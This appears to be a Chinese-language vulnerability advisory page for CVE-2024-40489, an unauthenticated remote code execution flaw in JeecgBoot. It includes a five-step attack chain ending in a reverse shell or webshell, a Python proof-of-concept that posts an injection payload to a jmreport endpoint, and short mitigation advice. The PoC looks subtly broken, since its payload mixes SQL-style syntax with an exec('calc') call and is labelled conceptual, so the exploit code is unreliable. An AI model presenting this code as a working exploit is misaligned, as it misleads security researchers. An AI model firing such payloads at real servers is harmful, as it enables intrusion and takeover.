CVE-2024-40489 CVSS 9.8 严重

CVE-2024-40489 JeecgBoot 远程代码执行漏洞

披露日期: 2026-04-01

来源: [email protected]

漏洞信息

漏洞编号

CVE-2024-40489

漏洞类型

远程代码执行

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

JeecgBoot

漏洞概述

JeecgBoot是一款基于代码生成器的低代码开发平台，广泛用于企业级应用。在其3.0.0至3.5.3版本中，由于组件对用户输入的字符过滤机制存在缺陷，存在严重的注入漏洞。攻击者无需任何身份认证，即可通过网络发送特制的HTTP请求，利用该漏洞在目标服务器上执行任意代码。该漏洞CVSS v3.1评分为9.8，属于严重级别，可能导致系统被完全接管、数据泄露或服务不可用。

技术细节

该漏洞的根源在于JeecgBoot在处理特定HTTP请求时，未对输入参数进行严格的校验和过滤，导致攻击者能够注入并执行恶意代码。攻击者通过构造包含特定恶意字符（如命令分隔符、表达式语法等）的POST请求，欺骗后端服务将输入数据当作可执行代码处理。利用该漏洞，攻击者可以调用系统底层命令（如Runtime.getRuntime().exec()），执行系统指令如whoami、写入Webshell或进行反弹Shell操作。由于漏洞利用无需用户交互且无需认证，攻击门槛极低，极易被自动化攻击工具大规模扫描利用。

攻击链分析

STEP 1

信息收集

攻击者通过网络扫描发现目标系统使用JeecgBoot框架，并识别出版本在3.0.0到3.5.3之间。

STEP 2

漏洞探测

攻击者向特定的API接口（如报表接口）发送特制的探测数据包，验证是否存在字符过滤缺失。

STEP 3

构造Payload

攻击者根据漏洞特征，构造包含恶意命令或代码的JSON数据，旨在绕过简单的过滤机制。

STEP 4

执行攻击

发送恶意HTTP请求，服务器端解析并执行注入的代码，攻击者获得服务器执行权限。

STEP 5

建立控制

攻击者执行反弹Shell或写入Webshell，从而获得对目标服务器的持久化控制权限。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import json

# Exploit Title: JeecgBoot CVE-2024-40489 RCE PoC
# Description: Sends a malicious payload to execute arbitrary code.

# Please replace with the actual target URL
target_url = "http://target-ip:8080/jeecg-boot/jmreport/qurestSql"

# The specific payload depends on the vulnerable endpoint filter bypass.
# This is a conceptual example of a code injection payload.
payload_data = {
    "apiSelectId": "1", 
    "fieldName": "test', 'test'); exec('calc'); --"
}

headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}

try:
    response = requests.post(target_url, data=json.dumps(payload_data), headers=headers, timeout=10)
    if response.status_code == 200:
        print("[+] Request sent successfully, check if code was executed.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error occurred: {e}")

影响范围

JeecgBoot 3.0.0 - 3.5.3

防御指南

临时缓解措施

如果无法立即升级，建议通过防火墙或安全组限制对JeecgBoot应用服务器的非必要端口访问，特别是针对报表模块的接口。同时，应加强代码审计，检查是否存在类似的字符过滤缺失问题，并在输入层增加严格的校验逻辑。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表